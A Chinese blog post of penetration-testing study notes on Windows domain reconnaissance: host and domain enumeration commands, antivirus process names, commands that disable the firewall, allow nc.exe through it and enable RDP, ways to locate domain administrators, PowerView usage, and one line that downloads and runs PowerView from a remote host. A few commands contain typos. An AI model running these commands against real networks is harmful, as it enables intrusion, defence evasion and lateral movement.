第二章:内网信息收集

发布于 2022-03-18  551 次阅读


写在前面

  本章主要是域内信息收集的一些场景及所可能会用到的命令。信息要找自己所需要的,所以并不是所有的命令都是有用的,对于我来说是这样的。
  这部分的内容并没有按照书上的全部写完,各有取舍吧,20年的书了,有些东西确实已经用不到了,所以就没有详细研究,先就整理这么多吧。

本机信息收集

网卡信息

ipconfig /all

操作系统及软件信息

# 查询操作系统和版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

# 中文版操作系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

系统体系结构

echo %PROCESSOR_ARCHITECTURE%

软件版本及路径等

wmic product get name.version

powershell "Get-WmnObject -class Win32_product | Select-Object -Property name,version"

本机服务信息

wmic service list brief

# 图形化界面
SERVICES.MSC

进程列表

tasklist

wmic process list brief
常见杀毒软件进程 软件名称
360sd.exe 360杀毒
360tray.exe 360实时保护
ZhuDongFangYu.exe 360主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 安全狗
McAfee McShield.exe McAfee
egui.exe NOD32
AVP.EXE 卡巴斯基
avguard.exe 小红伞
bdagent.exe BitDefender
wsctrlsvc.exe 火绒

启动程序信息

wmic startup get command,caption

计划任务

schtasks /query /fo LIST /v

开机时间

net statistics workstation

用户列表

net user

# 获取本地管理员
net localgroup administrators

# 当前在线用户(仅能在cmd中执行)
query user || qwinsta

本地计算机域所连接的客户端之间的会话

# 需要管理员权限
net session

端口列表

netstat -ano

系统信息及补丁列表

systeminfo

# powershell命令
Get-WmiObject Win32_ComputerSystem

# 仅查看补丁——名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn

本机共享列表

net share

wmic share get name,path,status

路由表及ARP表

router print
arp -a

防火墙相关配置

  1. 关闭防火墙
# windows server 2003及之前版本的命令
netsh firewall set opmode disable

# windows server 2003之后版本的命令
netsh advfirewall set allprofiles state off
  1. 查看防火墙配置
netsh firewall show config
  1. 修改防火墙配置
# windows server 2003及之前版本的命令,允许指定程序全部连接
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

# windows server 2003之后版本的命令
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow progtam="C:\nc.exe"

# 语序指定程序退出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"

# 允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
  1. 自定义防火墙日志的存储位置
netsh advfirewall set currentprofile logging filename "C\:windows\temp\fw.log"

代理配置情况

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

查询并开启远程连接服务

  1. 查看远程连接端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

# 结果为十六进制,转换进制即可
  1. 开启3389
# windows server 2003中开启3389
wmic path win32_terminalservicesetting where (__CLASS !="") call SetAllowTSConnections 1

# windows server 2008和windows server 2012中开启3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call SetAllowTSConnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
  1. 其他收集到的开启3389端口命令
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

自动收集信息

  简单来说就是将上面的命令放在一个自动化脚本中执行,并对最终结果的数据进行处理格式化输出。例如wmic_info工具。

查询当前权限

当前权限

whoami

# 普通用户
# win-2008\user

# 本地管理员
# win-2012\administrator

# 域内用户:hack域中的administrator用户
# hack\administrator

  本地管理员administrator可以直接提升至Ntauthority或System,因此在域中除普通用户外,所有机器都有一个机器用户,机器用户名是机器名加上$。本质上来说,机器的system用户对应的就是域中的机器用户,所以使用System可以运行域内的查询命令。

获取域内SID

whoami /all

查询制定用户的详细信息

net user XXX /domain

判断是否存在域

ipconfig命令

ipconfig /all

# 查看网关IP、DNS的IP地址、域名、本机是否和DNS服务器处于同一网段等

# 获取DNS后缀后可以通过nslookup反解析域名的IP地址(该部分注意Windows IP Configuration)
nslookup hack.testlab

系统详细信息

systeminfo

  返回信息中域 domain一栏中,如果在域内会返回域名,如果不在域内则会返回WORKGROUP

当前登录域及登录用户信息

net config workstation

  与"systeminfo"一致,工作站域DNS名称 Workstation Domain DNS Name一栏中,如果在域中会返回域名,如果不在域内会返回WORKGROUP登录域 Logon domain一栏中用于表示当前登录的用户是域用户还是本地用户,如果是本地用户则会返回计算机名。

判断主域

net time /domain

  一般域服务器会作为时间服务器使用。
  上述命令执行会存在几种情况

  1. 第一种存在域但当前用户不是域用户,则会返回下面的信息
System error 5 has occurred.
Access is denied.

# 系统发生错误 5。
# 拒绝访问
# 不过有的时候发现在域内且是域用户登录也会返回这种情况,猜测与杀毒软件、防火墙、权限有关
  1. 存在域,且当前用户是域用户,会返回时间同步后的时间戳
  2. 当前网络环境为工作组,不存在域则会返回找不到域 WORKGROUP 的域控制器

探测域内存活的主机

  这个就不按书上的来了,毕竟目前的扫描都比较好用,比如说Nmap、Fscan等等。除了这些,建议配合ipconfigarp -anetstat -ano等有关于网络信息的命令进行定向的扫描。
  这里记录一个比较有意思的探测存活主机的手工命令,这个命令可以参考改成存活端口的探测。

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

扫描域内端口

  这部分同上,扫描器都在迭代越来越好用。这里仅记录一下msf中的操作。

msf > use auxliary/scanner/portscan/tcp
msf auxliary(scanner/portscan/tcp) > set port 1-65535
msf auxliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.1
msf auxliary(scanner/portscan/tcp) > set THREADS 10
msf auxliary(scanner/portscan/tcp) > run

  msf我记得只能扫描一个目标说以说还是比较麻烦的。

收集域内基础信息

  此部分命令如果执行后报错,很大程度上是与机器上的防火墙、杀毒软件、用户组权限等安全措施有关。

查询域

net view /domain

查询域内所有计算机

net view /domain:domain

查询域内所有用户组列表

net group /domain

查询所有域成员计算机列表

net group "domain computers" /domain

获取域密码信息

net accounts /domain

# 具体没什么用的命令

获取域信任信息

nltest /domain_trusts

查找DC

查看域控制器的机器名

nltest /DCLIST:domain

# 具体没什么用的命令

查看域控制器主机名

nslookup -type=SRV _ldap._tcp

# 具体没什么用的命令

查看当前时间

  同"判断主域"

查看域控制器组

net group "Domain Controllers" /domain

# 具体没什么用的命令

# 查询主域控制器
netdom query pdc

获取域内的用户和管理员信息

查询所有域用户列表

# 向域控制器进行查询
net user /domain

# 获取域内用户的详细信息
wmic useraccount get /all

# 查看存在的用户 
dsquery user

# 查询本地管理员组用户
net localgroup administrators

查询域管理用户组

# 查询域管理员用户
net group "domain admins" /domain

# 查询管理员用户组
net group "Enterprise Admins" /domain

定位域管理员

  初步是感觉这块并没有什么作用,后续想了一下,讲的是定位,看一眼有哪些账号登录了哪些机器,不然的话,抓密码都不知道去哪抓。

psloggedon.exe

 pstools大礼包中自带此工具,用于查看本地登录的用户和通过本地计算机或远程计算机资源登录的用户

psloggedon.exe [-] [-l] [-x] [\\computername | username]

# -:显示支持的选项和用于输出值的单位
# -l:仅显示本地登陆,不显示本地和网络资源登录
# -x:不显示登录时间
# \\computername:指定要列出登录信息的计算机的名称
# username:指定用户名,在网络中搜索该用户登录的计算机

  \\后面接的是域控机器名,看一下登录过域控的用户名
  如果\\接的是用户名,那就会搜索网上邻居的计算机,并显示指定用户是否已经登录
  此工具本质是检测注册表中HKEY_USERS的key值、调用了NetSessionEnum的API来判断谁登录过哪台机器,如果无法读取或者读取注册表失败,总之工具效果很差

PVEFindADUser.exe

  直接pvefinaduser.exe -current,一把梭,即可查看域中所有计算机的登录用户,但是貌似系统判断精准度有些问题,并且需要管理员权限。

PVEFindADUser.exe <parameter>

# -h:显示帮助信息
# -u:金叉程序是否有新版本
# -current["username"]:如果仅指定了-current参数,将获取目标计算机上当前登录的所有用户;如果指定了用户名(Domain\Username),则显示该用户登录的计算机
# -last["username"]:如果仅指定了-last参数,将获取目标计算机的最后一个登录用户;如果指定了用户名(Domain\Username),则显示该用户上次登录的计算机;根据网络策略,可能会隐藏最后一个登录用户的用户名,此时则无法获取到该用户名
# -noping:阻止该工具获取信息之前对目标计算机使用ping命令
# -target:可选,用于指定要查询的主机,如果未指定该参数,将查询当前域中所有主机,如果指定了该参数,则后跟一个由逗号分隔的主机名列表

PowerView.ps1 脚本

  打开powershell,进入脚本目录,输入Import-Module .\PowerView.ps1导入脚本

# 找到域内特定的用户群
Invoke-UserHunter

# 获取域内所有用户,powerview的默认使用,如果找不到需要的信息,建议上面的命令
Invoke-StealthUserHunter

# 远程导入
powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://外网IP/powersploit/Recon/PowerView.ps1');Invoke-UserHunter

Nmap的NSE脚本

  Nmap的官方脚本

# 对域控制器进行信息收集,主机信息、用户、可使用密码策略的用户等
smb-enum-domains.nse

# 获取更多的域用户信息
smb-enum-users.nse

# 遍历远程主机的共享目录
smb-enum-shares.nse

# 对主机的系统进程进行遍历
smb-enum-processes.nse

# 获取域内主机的用户登录回话,查看当前是否有用户登录
smb-enum-sessions.nse

# 收集目标主机的操作系统、计算机名、域名、域林名称、NetBIOS机器名、NetBIOS域名、工作组、系统时间等
smb-os-discovery.nse

查找域管理进程

本机检查

  1. 获取域管理员列表
net group "Domain Admins" /domain
  1. 列出本机的所有进程及进程用户
tasklist /v
  1. 寻找进程所有者为域管理员的进程

查询域控制器的域用户回话

  1. 查询域控制器列表
# 可以使用LDAP查询从Domain Controllers单元中收集的域控制器列表

# 使用net命令
net group "Domain Controllers" /domain
  1. 收集域管理员列表
# 可以使用LDAP查询,也可以使用net命令
net group "Domain Admins" /domain
  1. 收集所有活动域的会话列表
NetSess -h

# NetSess查询每个域控制器,收集所有活动域会话列表,它包含本地windows函数netsessionenum,该函数用于返回活动会话的IP地址、域账户、绘画开始时间和空闲时间
  1. 交叉引用域管理员列表域活动会话列表
# 对域管理员列表和活动会话列表进行交叉引用,可以确定哪些IP地址有活动域令牌

# 将域控制器列表添加到dcs.txt中,将域管理员列表添加到admins.txt中并与netsess.exe放在同一目录下
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR //F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a

# 类似于Get Domain Admins(GDA)批处理脚本

查询远程系统中运行的任务

  首先收集域管理员列表

net group "Domain Admins" /domain

  然后运行下面的脚本,将目标域系统列表添加到ips.txt文件中,将收集的域管理员列表添加到names.txt中

FOR /F %i in (ips.txt) do @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

扫描远程系统的NetBIOS信息

  某些版本的windows操作系统允许用户通过NetBIOS查询已登录用户,收集域管理员列表,运行下列脚本,将目标与系统列表添加到ips.txt中,将收集的域管理员列表添加到admins.txt中

FOR /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

  也可以使用nbtscan工具

FOR /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

使用powershell收集域信息

  主要使用的就是PowerView这个脚本

# powerview常用命令

# 获取当前用户所在域的名称
Get-NetDomain

# 获取所有用户的详细信息
Get-NetUser

# 获取所有域控制器的信息
Get-NetDomainController

# 获取域内所有机器的详细信息
Get-NetComputer

# 获取域中的OU信息
Get-NetOU

# 获取所有域内组和组成员的信息
Get-NetGroup

# 根据SPN获取当前域使用的文件服务器信息
Get-NetFileServer

# 获取当前域内所有的网络共享信息
Get-NetShare

# 获取指定服务器的回话
Get-NetSession

# 获取指定服务器的远程连接
Get-NetRDPSession

# 获取远程主机的进程
Get-NetProcess

# 获取指定用户的日志
Get-UserEvent

# 获取活动目录的对象
Get-ADObject

# 获取域内所有的组策略对象
Get-NetGPO

# 获取域默认策略或域控制器策略
Get-DomainPolicy

# 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-Userhunter

# 通过查询域内所有机器进程找到特定用户
Invoke-Processhunter

# 根据用户日志查询某域用户登录过哪些域机器
Invoke-UserEventhunter